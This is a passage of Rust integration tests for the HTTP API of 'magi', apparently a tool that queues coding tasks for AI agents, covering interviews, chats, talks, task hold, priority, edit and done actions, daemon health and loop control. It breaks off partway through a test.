4393    async fn an_answer_the_question_does_not_offer_is_refused() {
4394        let fx = Fixture::start().await;
4395        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4396        let path = format!("/api/questions/{id}/answer");
4397
4398        for body in [
4399            r#"{"choice":"Postgres"}"#,
4400            r#"{"text":"whatever you think"}"#,
4401            r#"{"choice":"Redis","text":"both"}"#,
4402            r#"{}"#,
4403        ] {
4404            let res = fx.post(&path, Some(body)).await;
4405            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4406            assert!(res.json()["error"].is_string(), "{}", res.body);
4407        }
4408        // Nothing above may have answered it.
4409        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4410    }
4411
4412    #[tokio::test]
4413    async fn a_free_text_question_takes_text_and_not_a_choice() {
4414        let fx = Fixture::start().await;
4415        let id = ask(&fx, "What should the flag be called?", &[]);
4416        let path = format!("/api/questions/{id}/answer");
4417
4418        assert_eq!(
4419            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4420            400
4421        );
4422        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4423        assert_eq!(res.status, 200, "{}", res.body);
4424        assert_eq!(res.json()["answer"]["text"], "--json");
4425    }
4426
4427    #[tokio::test]
4428    async fn an_unknown_question_is_a_json_404() {
4429        let fx = Fixture::start().await;
4430        let res = fx
4431            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4432            .await;
4433        assert_eq!(res.status, 404, "{}", res.body);
4434        assert!(res.json()["error"].is_string());
4435    }
4436
4437    /// Plan is the only entry for new work: an interview writes the task
4438    /// file, so the compose form and its `POST /api/queue` are gone. The
4439    /// three tests that covered that route's validation went with the route,
4440    /// and nothing was left asserting it stays gone — so a phone still
4441    /// holding the old form, or a re-added handler, would silently be back
4442    /// to filing briefs no interview ever validated.
4443    #[tokio::test]
4444    async fn a_task_cannot_be_filed_directly_only_through_an_interview() {
4445        let f = Fixture::start().await;
4446
4447        let res = f
4448            .post(
4449                "/api/queue",
4450                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4451            )
4452            .await;
4453
4454        assert_eq!(
4455            res.status, 405,
4456            "POST /api/queue must not be a route: {}",
4457            res.body
4458        );
4459        assert!(
4460            f.queue().list().is_empty(),
4461            "a task that skipped the interview must not reach the disk"
4462        );
4463        // The path itself is still served — the Queue view reads it — and the
4464        // per-task controls are untouched by the entry being removed.
4465        assert_eq!(f.get("/api/queue").await.status, 200);
4466    }
4467
4468    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
4469    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4470        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4471            .expect("checkout dir");
4472    }
4473
4474    #[tokio::test]
4475    async fn repos_list_returns_name_and_path_for_every_configured_root() {
4476        let tmp = TempDir::new().expect("tempdir");
4477        let repo = tmp.path().join("repo");
4478        std::fs::create_dir_all(&repo).expect("repo dir");
4479        let root = tmp.path().join("root");
4480        make_checkout(&root, "github.com", "yukimemi", "magi");
4481        std::fs::write(
4482            repo.join("magi.toml"),
4483            format!(
4484                "[repos]\nroots = [{:?}]\n",
4485                root.to_string_lossy().into_owned()
4486            ),
4487        )
4488        .expect("write magi.toml");
4489
4490        let f = Fixture::with_repo(repo).await;
4491        let res = f.get("/api/repos").await;
4492        assert_eq!(res.status, 200, "{}", res.body);
4493        let list = res.json();
4494        let repos = list.as_array().expect("an array");
4495        assert_eq!(repos.len(), 1);
4496        assert_eq!(repos[0]["name"], "yukimemi/magi");
4497        assert!(
4498            repos[0]["path"]
4499                .as_str()
4500                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4501            "{list}"
4502        );
4503    }
4504
4505    #[tokio::test]
4506    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4507        let tmp = TempDir::new().expect("tempdir");
4508        let repo = tmp.path().join("repo");
4509        std::fs::create_dir_all(&repo).expect("repo dir");
4510        let root = tmp.path().join("root");
4511        make_checkout(&root, "github.com", "yukimemi", "magi");
4512        std::fs::write(
4513            repo.join("magi.toml"),
4514            format!(
4515                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4516                root.to_string_lossy().into_owned()
4517            ),
4518        )
4519        .expect("write magi.toml");
4520
4521        let f = Fixture::with_repo(repo).await;
4522        let first = f.get("/api/repos").await;
4523        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4524
4525        // A second checkout appears; within the TTL the cached answer must
4526        // not notice it.
4527        make_checkout(&root, "github.com", "yukimemi", "rvpm");
4528        let second = f.get("/api/repos").await;
4529        assert_eq!(
4530            second.json().as_array().map(Vec::len),
4531            Some(1),
4532            "a fresh cache must not rescan inside the TTL"
4533        );
4534
4535        let refreshed = f.get("/api/repos?refresh=1").await;
4536        assert_eq!(
4537            refreshed.json().as_array().map(Vec::len),
4538            Some(2),
4539            "an explicit refresh must rescan even inside the TTL"
4540        );
4541    }
4542
4543    #[tokio::test]
4544    async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
4545        let f = Fixture::start().await;
4546        let res = f
4547            .post(
4548                "/api/chats",
4549                Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
4550            )
4551            .await;
4552        assert!(res.status >= 400 && res.status < 500, "{}", res.status);
4553        assert!(
4554            res.json()["error"]
4555                .as_str()
4556                .is_some_and(|e| e.contains("nosuchchat")),
4557            "the error names the id that does not exist: {}",
4558            res.body
4559        );
4560        assert!(
4561            f.chats().list().is_empty(),
4562            "a chat must not be created against an unresolvable `from`"
4563        );
4564    }
4565
4566    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
4567    /// string, declared straight in a repository's own `magi.toml` rather
4568    /// than the operator's real roster. No real agent CLI is spawned - `sh`
4569    /// is the interpreter, the same as `chat::tests::mock_agent` uses - so
4570    /// this is safe to run over a real HTTP round trip, unlike every other
4571    /// `POST /api/chats` test in this module.
4572    ///
4573    /// `[roles] planner` is pinned here too, and not left to the built-in
4574    /// "first runnable agent" fallback: an operator's own machine layer can
4575    /// (and, on at least one real machine this was written and tested on,
4576    /// does) already pin a `planner` naming a roster seat this file does not
4577    /// have. `roles.planner` is a scalar, so restating it in this
4578    /// higher-precedence repo layer is not the array conflict
4579    /// `config::array_keys` refuses - it is exactly the override the layering
4580    /// exists for, and it is what keeps this test's outcome independent of
4581    /// whatever the machine layer happens to say.
4582    const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4583
4584    #[tokio::test]
4585    async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
4586        let tmp = TempDir::new().expect("tempdir");
4587        let repo = tmp.path().join("repo");
4588        let other = tmp.path().join("other");
4589        std::fs::create_dir_all(&repo).expect("repo dir");
4590        std::fs::create_dir_all(&other).expect("other repo dir");
4591        // Both need their own roster: `chat_post` re-discovers config against
4592        // whichever repo the request names, and a repo with no `magi.toml` of
4593        // its own would fall back to the operator's real, installed agent CLIs.
4594        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4595        std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4596
4597        let f = Fixture::with_repo(repo.clone()).await;
4598
4599        let default_res = f
4600            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
4601            .await;
4602        assert_eq!(default_res.status, 201, "{}", default_res.body);
4603        assert_eq!(
4604            default_res.json()["repo"],
4605            repo.canonicalize().unwrap().display().to_string(),
4606            "omitting `repo` must keep the server's own"
4607        );
4608
4609        let body = format!(
4610            r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
4611            other.to_string_lossy()
4612        );
4613        let explicit_res = f.post("/api/chats", Some(&body)).await;
4614        assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
4615        assert_eq!(
4616            explicit_res.json()["repo"],
4617            other.canonicalize().unwrap().display().to_string(),
4618            "an explicit `repo` must override the server's own"
4619        );
4620    }
4621
4622    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
4623    /// real `Config::discover` to find an agent - `talk::begin` resolves one
4624    /// even though it takes no turn, and `talk_say` invokes one.
4625    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
4626        let tmp = TempDir::new().expect("tempdir");
4627        let repo = tmp.path().join("repo");
4628        std::fs::create_dir_all(&repo).expect("repo dir");
4629        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4630        let f = Fixture::with_repo(repo.clone()).await;
4631        (tmp, repo, f)
4632    }
4633
4634    #[tokio::test]
4635    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
4636        let (_tmp, _repo, f) = talk_fixture().await;
4637
4638        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
4639        // is the ordinary way a phone opens a talk.
4640        let opened = f.post("/api/talks", None).await;
4641        assert_eq!(opened.status, 201, "{}", opened.body);
4642        let body = opened.json();
4643        assert_eq!(body["status"], "open");
4644        assert_eq!(
4645            body["turns"].as_array().unwrap().len(),
4646            0,
4647            "opening takes no agent turn: there is nothing yet to answer"
4648        );
4649
4650        // An explicit empty object is the same request as none at all.
4651        let also_opened = f.post("/api/talks", Some("{}")).await;
4652        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
4653
4654        let listed = f.get("/api/talks").await.json();
4655        assert_eq!(listed.as_array().unwrap().len(), 2);
4656    }
4657
4658    #[tokio::test]
4659    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
4660        let f = Fixture::start().await;
4661        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
4662        let queue = f.queue();
4663        let mut mine = Task::new(
4664            "rename the loader".to_owned(),
4665            "rename the loader".to_owned(),
4666            PathBuf::from("/repo/magi"),
4667            Source::Agent {
4668                run: talk_id.clone(),
4669                node: "chat".to_owned(),
4670            },
4671        );
4672        queue.put(&mut mine).expect("file the task");
4673        let mut theirs = Task::new(
4674            "unrelated".to_owned(),
4675            "unrelated".to_owned(),
4676            PathBuf::from("/repo/magi"),
4677            Source::Human,
4678        );
4679        queue.put(&mut theirs).expect("file the task");
4680
4681        let res = f.get(&format!("/api/talks/{talk_id}")).await;
4682        assert_eq!(res.status, 200, "{}", res.body);
4683        let body = res.json();
4684        assert_eq!(
4685            body["status"], "open",
4686            "filing a task does not close a talk"
4687        );
4688        let tasks = body["tasks"].as_array().expect("tasks array");
4689        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
4690        assert_eq!(tasks[0]["id"], mine.id);
4691    }
4692
4693    #[tokio::test]
4694    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
4695        let (_tmp, _repo, f) = talk_fixture().await;
4696        let id = f.post("/api/talks", None).await.json()["id"]
4697            .as_str()
4698            .expect("id")
4699            .to_owned();
4700
4701        let res = f
4702            .post(
4703                &format!("/api/talks/{id}/say"),
4704                Some(r#"{"text":"what does the queue module do?"}"#),
4705            )
4706            .await;
4707        assert_eq!(res.status, 202, "{}", res.body);
4708        let queued = res.json();
4709        let turns = queued["turns"].as_array().expect("turns array");
4710        assert_eq!(
4711            turns.len(),
4712            1,
4713            "the answer reflects only what is on disk the instant it is sent, \
4714             before the agent's turn - which can run for `talk::TURN_TIMEOUT` \
4715             - has a chance to land: {queued}"
4716        );
4717        assert_eq!(turns[0]["who"], "operator");
4718        assert_eq!(turns[0]["body"], "what does the queue module do?");
4719
4720        let mut turns_after = 1;
4721        for _ in 0..200 {
4722            let detail = f.get(&format!("/api/talks/{id}")).await.json();
4723            turns_after = detail["turns"].as_array().expect("turns array").len();
4724            if turns_after == 2 {
4725                break;
4726            }
4727            tokio::time::sleep(Duration::from_millis(10)).await;
4728        }
4729        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
4730    }
4731
4732    #[tokio::test]
4733    async fn talk_close_makes_the_talk_refuse_further_turns() {
4734        let f = Fixture::start().await;
4735        let id = seed_talk(&f, "20260904-014455-cd34", "open");
4736
4737        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4738        assert_eq!(closed.status, 200, "{}", closed.body);
4739        assert_eq!(closed.json()["status"], "closed");
4740
4741        // Idempotent: closing an already-closed talk is not an error.
4742        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
4743        assert_eq!(closed_again.status, 200);
4744        assert_eq!(closed_again.json()["status"], "closed");
4745    }
4746
4747    #[tokio::test]
4748    async fn talks_never_appear_in_the_planning_chat_list() {
4749        let (_tmp, _repo, f) = talk_fixture().await;
4750
4751        let opened = f.post("/api/talks", None).await;
4752        assert_eq!(opened.status, 201, "{}", opened.body);
4753
4754        let chats = f.get("/api/chats").await.json();
4755        assert!(
4756            chats.as_array().unwrap().is_empty(),
4757            "a talk must never surface as a planning chat: {chats}"
4758        );
4759        let talks = f.get("/api/talks").await.json();
4760        assert_eq!(talks.as_array().unwrap().len(), 1);
4761    }
4762
4763    #[tokio::test]
4764    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4765        let f = Fixture::start().await;
4766        let queue = f.queue();
4767        let mut task = Task::new(
4768            "spent".to_owned(),
4769            "Try again".to_owned(),
4770            PathBuf::from("/repo/magi"),
4771            Source::Human,
4772        );
4773        task.start("20260902-140502-bbbb".to_owned());
4774        task.fail("agent gave up", 9);
4775        queue.put(&mut task).expect("file the task");
4776
4777        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4778        assert_eq!(held.status, 200);
4779        assert_eq!(held.json()["status_str"], "held");
4780
4781        let released = f
4782            .post(&format!("/api/queue/{}/release", task.id), None)
4783            .await;
4784        assert_eq!(released.status, 200);
4785        assert_eq!(released.json()["status_str"], "queued");
4786        assert_eq!(
4787            released.json()["attempts"],
4788            0,
4789            "release is a real second chance, not an instant re-hold"
4790        );
4791        assert_eq!(
4792            queue.get(&task.id).expect("reload").status,
4793            TaskStatus::Queued,
4794            "the change is on disk, not only in the reply"
4795        );
4796        assert!(
4797            !f.home
4798                .path()
4799                .join("queue")
4800                .join(format!("{}.lock", task.id))
4801                .exists(),
4802            "the claim the mutation took is released again"
4803        );
4804    }
4805
4806    #[tokio::test]
4807    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4808        let f = Fixture::start().await;
4809        let queue = f.queue();
4810        let mut task = Task::new(
4811            "busy".to_owned(),
4812            "Running right now".to_owned(),
4813            PathBuf::from("/repo/magi"),
4814            Source::Human,
4815        );
4816        queue.put(&mut task).expect("file the task");
4817        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4818
4819        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4820
4821        assert_eq!(res.status, 409);
4822        assert_eq!(
4823            queue.get(&task.id).expect("reload").status,
4824            TaskStatus::Queued,
4825            "the refused hold changed nothing"
4826        );
4827    }
4828
4829    #[tokio::test]
4830    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
4831        let f = Fixture::start().await;
4832        let queue = f.queue();
4833        let mut task = Task::new(
4834            "waiting on the migration".to_owned(),
4835            "Do the thing".to_owned(),
4836            PathBuf::from("/repo/magi"),
4837            Source::Human,
4838        );
4839        queue.put(&mut task).expect("file the task");
4840
4841        let held = f
4842            .post(
4843                &format!("/api/queue/{}/hold", task.id),
4844                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
4845            )
4846            .await;
4847        assert_eq!(held.status, 200, "{}", held.body);
4848        assert_eq!(held.json()["status_str"], "held");
4849        assert_eq!(
4850            held.json()["hold_reason"],
4851            "waiting for 20260101-000000-aaaa to land"
4852        );
4853
4854        let listed = f.get("/api/queue").await.json();
4855        assert_eq!(
4856            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
4857            "the card reads the reason off the same list route"
4858        );
4859
4860        // A hold with no body at all must keep working - most holds have no
4861        // reason to give.
4862        let mut plain = Task::new(
4863            "no reason given".to_owned(),
4864            "Do another thing".to_owned(),
4865            PathBuf::from("/repo/magi"),
4866            Source::Human,
4867        );
4868        queue.put(&mut plain).expect("file the task");
4869        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
4870        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
4871        assert!(held_plain.json()["hold_reason"].is_null());
4872
4873        let released = f
4874            .post(&format!("/api/queue/{}/release", task.id), None)
4875            .await;
4876        assert_eq!(released.status, 200);
4877        assert!(
4878            released.json()["hold_reason"].is_null(),
4879            "a release must clear the reason so the next hold does not inherit it"
4880        );
4881    }
4882
4883    #[tokio::test]
4884    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
4885        let f = Fixture::start().await;
4886        let queue = f.queue();
4887        let mut older = Task::new(
4888            "filed first".to_owned(),
4889            "x".to_owned(),
4890            PathBuf::from("/repo/magi"),
4891            Source::Human,
4892        );
4893        older.id = "20260101-000001-aaaa".to_owned();
4894        let mut newer = Task::new(
4895            "filed second".to_owned(),
4896            "x".to_owned(),
4897            PathBuf::from("/repo/magi"),
4898            Source::Human,
4899        );
4900        newer.id = "20260101-000002-bbbb".to_owned();
4901        queue.put(&mut older).expect("file older");
4902        queue.put(&mut newer).expect("file newer");
4903
4904        // Equal priority: the newer task leads, the same order the old
4905        // newest-first `list()` already gave every equal-priority queue.
4906        let before = f.get("/api/queue").await.json();
4907        assert_eq!(before[0]["id"], newer.id);
4908        assert_eq!(before[1]["id"], older.id);
4909
4910        // Raising the *older* task is the meaningful case: it can only lead
4911        // now because its priority says so, not because it happens to be
4912        // newest.
4913        let raised = f
4914            .post(
4915                &format!("/api/queue/{}/priority", older.id),
4916                Some(r#"{"priority":10}"#),
4917            )
4918            .await;
4919        assert_eq!(raised.status, 200, "{}", raised.body);
4920        assert_eq!(raised.json()["priority"], 10);
4921
4922        let after = f.get("/api/queue").await.json();
4923        let names: Vec<&str> = after
4924            .as_array()
4925            .unwrap()
4926            .iter()
4927            .map(|t| t["id"].as_str().unwrap())
4928            .collect();
4929        // Highest priority first, which is the order next_runnable and
4930        // `magi task list` both use - GET /api/queue must agree with it
4931        // immediately, not just once the loop claims the task.
4932        assert_eq!(names[0], older.id, "the raised task now sorts first");
4933    }
4934
4935    #[tokio::test]
4936    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
4937        let f = Fixture::start().await;
4938        let queue = f.queue();
4939        let mut task = Task::new(
4940            "in flight".to_owned(),
4941            "x".to_owned(),
4942            PathBuf::from("/repo/magi"),
4943            Source::Human,
4944        );
4945        task.start("20260902-140502-bbbb".to_owned());
4946        queue.put(&mut task).expect("file the task");
4947
4948        let res = f
4949            .post(
4950                &format!("/api/queue/{}/priority", task.id),
4951                Some(r#"{"priority":9}"#),
4952            )
4953            .await;
4954        assert_eq!(res.status, 400, "{}", res.body);
4955        assert!(
4956            res.json()["error"]
4957                .as_str()
4958                .is_some_and(|e| e.contains("running")),
4959            "{}",
4960            res.body
4961        );
4962        assert_eq!(
4963            queue.get(&task.id).expect("reload").priority,
4964            0,
4965            "the refused write must not partially apply"
4966        );
4967    }
4968
4969    #[tokio::test]
4970    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
4971        let f = Fixture::start().await;
4972        let queue = f.queue();
4973        let mut task = Task::new(
4974            "old title".to_owned(),
4975            "old instruction".to_owned(),
4976            PathBuf::from("/repo/magi"),
4977            Source::Agent {
4978                run: "20260101-000000-beef".to_owned(),
4979                node: "implement".to_owned(),
4980            },
4981        );
4982        task.runs.push("20260101-000000-beef".to_owned());
4983        queue.put(&mut task).expect("file the task");
4984        let created_at = task.created_at;
4985
4986        let edited = f
4987            .post(
4988                &format!("/api/queue/{}/edit", task.id),
4989                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
4990            )
4991            .await;
4992        assert_eq!(edited.status, 200, "{}", edited.body);
4993        let body = edited.json();
4994        assert_eq!(body["title"], "new title");
4995        assert_eq!(body["instruction"], "new instruction");
4996        assert_eq!(body["id"], task.id, "editing must not mint a new id");
4997        assert_eq!(body["created_at"], created_at.to_string());
4998        assert_eq!(
4999            body["source"]["kind"], "agent",
5000            "editing a task an agent filed must not turn it human: {body}"
5001        );
5002        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5003
5004        let reloaded = queue.get(&task.id).expect("reload");
5005        assert_eq!(reloaded.title, "new title");
5006        assert_eq!(reloaded.instruction, "new instruction");
5007    }
5008
5009    #[tokio::test]
5010    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5011        let f = Fixture::start().await;
5012        let queue = f.queue();
5013        let mut task = Task::new(
5014            "in flight".to_owned(),
5015            "do not touch".to_owned(),
5016            PathBuf::from("/repo/magi"),
5017            Source::Human,
5018        );
5019        task.start("20260902-140502-bbbb".to_owned());
5020        queue.put(&mut task).expect("file the task");
5021
5022        let res = f
5023            .post(
5024                &format!("/api/queue/{}/edit", task.id),
5025                Some(r#"{"title":"x","instruction":"y"}"#),
5026            )
5027            .await;
5028        assert_eq!(res.status, 400, "{}", res.body);
5029        assert!(
5030            res.json()["error"]
5031                .as_str()
5032                .is_some_and(|e| e.contains("running")),
5033            "{}",
5034            res.body
5035        );
5036        assert_eq!(
5037            queue.get(&task.id).expect("reload").instruction,
5038            "do not touch",
5039            "the refused edit must not change the file"
5040        );
5041    }
5042
5043    #[tokio::test]
5044    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5045        let f = Fixture::start().await;
5046        let queue = f.queue();
5047        let mut task = Task::new(
5048            "busy".to_owned(),
5049            "Running right now".to_owned(),
5050            PathBuf::from("/repo/magi"),
5051            Source::Human,
5052        );
5053        queue.put(&mut task).expect("file the task");
5054        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5055
5056        let priority = f
5057            .post(
5058                &format!("/api/queue/{}/priority", task.id),
5059                Some(r#"{"priority":9}"#),
5060            )
5061            .await;
5062        assert_eq!(priority.status, 409, "{}", priority.body);
5063
5064        let edit = f
5065            .post(
5066                &format!("/api/queue/{}/edit", task.id),
5067                Some(r#"{"title":"x","instruction":"y"}"#),
5068            )
5069            .await;
5070        assert_eq!(edit.status, 409, "{}", edit.body);
5071    }
5072
5073    #[tokio::test]
5074    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5075        let f = Fixture::start().await;
5076        let queue = f.queue();
5077        let mut task = Task::new(
5078            "shipped by hand".to_owned(),
5079            "merged outside the loop".to_owned(),
5080            PathBuf::from("/repo/magi"),
5081            Source::Agent {
5082                run: "20260101-000000-b455".to_owned(),
5083                node: "implement".to_owned(),
5084            },
5085        );
5086        task.runs.push("20260101-000000-b455".to_owned());
5087        task.runs.push("20260101-000000-9af4".to_owned());
5088        queue.put(&mut task).expect("file the task");
5089        let created_at = task.created_at;
5090
5091        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5092        assert_eq!(done.status, 200, "{}", done.body);
5093        assert_eq!(done.json()["status_str"], "done");
5094
5095        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5096        assert_eq!(
5097            reloaded.runs,
5098            ["20260101-000000-b455", "20260101-000000-9af4"]
5099        );
5100        assert_eq!(
5101            reloaded.source,
5102            Source::Agent {
5103                run: "20260101-000000-b455".to_owned(),
5104                node: "implement".to_owned(),
5105            }
5106        );
5107        assert_eq!(reloaded.created_at, created_at);
5108    }
5109
5110    #[tokio::test]
5111    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5112        // `done` is allowed on any status, including `held`, with no release
5113        // in between - so a task held for a reason and then closed directly
5114        // must not keep reading as "waiting on" it afterwards, on its card or
5115        // in `magi task show`.
5116        let f = Fixture::start().await;
5117        let queue = f.queue();
5118        let mut task = Task::new(
5119            "landed while held".to_owned(),
5120            "x".to_owned(),
5121            PathBuf::from("/repo/magi"),
5122            Source::Human,
5123        );
5124        task.hold(Some("waiting on 3ed9".to_owned()));
5125        queue.put(&mut task).expect("file the held task");
5126
5127        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5128        assert_eq!(done.status, 200, "{}", done.body);
5129        assert_eq!(done.json()["status_str"], "done");
5130        assert!(
5131            done.json()["hold_reason"].is_null(),
5132            "a done task cannot still be waiting on something: {}",
5133            done.body
5134        );
5135    }
5136
5137    #[tokio::test]
5138    async fn unknown_ids_are_json_not_found_on_both_stores() {
5139        let f = Fixture::start().await;
5140
5141        let run = f.get("/api/runs/nosuchrun").await;
5142        let task = f.post("/api/queue/nosuchtask/hold", None).await;
5143
5144        assert_eq!(run.status, 404);
5145        assert_eq!(task.status, 404);
5146        assert!(
5147            run.json()["error"]
5148                .as_str()
5149                .is_some_and(|e| e.contains("run")),
5150            "the error names what was not found: {}",
5151            run.body
5152        );
5153        assert!(
5154            task.json()["error"]
5155                .as_str()
5156                .is_some_and(|e| e.contains("task")),
5157            "the error names what was not found: {}",
5158            task.body
5159        );
5160    }
5161
5162    #[tokio::test]
5163    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
5164        let f = Fixture::start().await;
5165
5166        let missing = f.get("/api/health").await.json();
5167        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
5168
5169        write_daemon(
5170            f.home.path(),
5171            Timestamp::now() - jiff::SignedDuration::from_secs(60),
5172        );
5173        let stale = f.get("/api/health").await.json();
5174        assert_eq!(
5175            stale["daemon"]["running"], false,
5176            "a minute without a heartbeat is a dead daemon, not a busy one"
5177        );
5178        assert!(
5179            stale["daemon"]["stale_for_secs"]
5180                .as_i64()
5181                .is_some_and(|s| s >= 55),
5182            "staleness is reported so the UI can say how long: {stale}"
5183        );
5184
5185        write_daemon(f.home.path(), Timestamp::now());
5186        let fresh = f.get("/api/health").await.json();
5187        assert_eq!(fresh["daemon"]["running"], true);
5188        assert_eq!(fresh["daemon"]["idle"], false);
5189        assert_eq!(fresh["daemon"]["pid"], 4242);
5190        assert_eq!(fresh["daemon"]["completed"], 7);
5191        assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
5192        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
5193    }
5194
5195    #[tokio::test]
5196    async fn the_loop_is_not_running_until_something_starts_it() {
5197        let f = Fixture::start().await;
5198
5199        let view = f.get("/api/loop").await.json();
5200        assert_eq!(view["running"], false);
5201        assert_eq!(
5202            view["owned"], false,
5203            "nobody owns a loop that does not exist: {view}"
5204        );
5205        assert_eq!(view["stopping"], false);
5206        assert_eq!(view["last_error"], Value::Null);
5207        assert_eq!(view["daemon"]["running"], false);
5208        assert_eq!(
5209            view["repo"], "/repo/magi",
5210            "the repository a start would use, named before it is started"
5211        );
5212    }
5213
5214    #[tokio::test]
5215    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
5216        let f = Fixture::start().await;
5217
5218        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5219        assert_eq!(res.status, 200, "{}", res.body);
5220        let view = res.json();
5221        assert_eq!(view["running"], true);
5222        assert_eq!(
5223            view["owned"], true,
5224            "the loop the UI started is the UI's own to stop: {view}"
5225        );
5226        assert_eq!(
5227            view["merge"],
5228            Value::Null,
5229            "no override was given, so each repository's own config decides"
5230        );
5231
5232        // The same object from the route a waking phone polls first. Two
5233        // surfaces disagreeing about whether anything is running is exactly
5234        // the confusion this UI exists to remove.
5235        let health = f.get("/api/health").await.json();
5236        assert_eq!(health["loop"]["running"], true, "{health}");
5237        assert_eq!(health["loop"]["owned"], true, "{health}");
5238
5239        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5240    }
5241
5242    #[tokio::test]
5243    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
5244        let f = Fixture::start().await;
5245        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5246        assert_eq!(first.status, 200, "{}", first.body);
5247
5248        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5249        assert_eq!(
5250            again.status, 409,
5251            "two loops on one queue race for the same claims: {}",
5252            again.body
5253        );
5254        assert!(
5255            again.json()["error"]
5256                .as_str()
5257                .is_some_and(|e| e.contains("already running the loop")),
5258            "the refusal has to say why: {}",
5259            again.body
5260        );
5261        assert_eq!(
5262            f.get("/api/loop").await.json()["running"],
5263            true,
5264            "and the loop that was already running is untouched by it"
5265        );
5266
5267        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5268    }
5269
5270    #[tokio::test]
5271    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
5272        let f = Fixture::start().await;
5273        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5274
5275        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5276        assert_eq!(
5277            res.status, 200,
5278            "the answer must not wait for the loop: a run in flight is tens of \
5279             minutes and the operator is holding a phone: {}",
5280            res.body
5281        );
5282
5283        let view = settled(&f, |v| v["running"] == false).await;
5284        assert_eq!(view["owned"], false);
5285        assert_eq!(
5286            view["stopping"], false,
5287            "a loop that has stopped is not still stopping: {view}"
5288        );
5289        assert_eq!(
5290            view["last_error"],
5291            Value::Null,
5292            "a loop that was asked to stop did not fail: {view}"
5293        );
5294
5295        // Idempotent, because the operator cannot tell a slow stop from a lost
5296        // one and will press it again.
5297        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5298        assert_eq!(twice.status, 200, "{}", twice.body);
5299    }
5300
5301    #[tokio::test]
5302    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
5303        let f = Fixture::start().await;
5304        // How the operator has been doing it: a `magi serve` of their own,
5305        // heartbeat fresh, in the same home this UI reads.
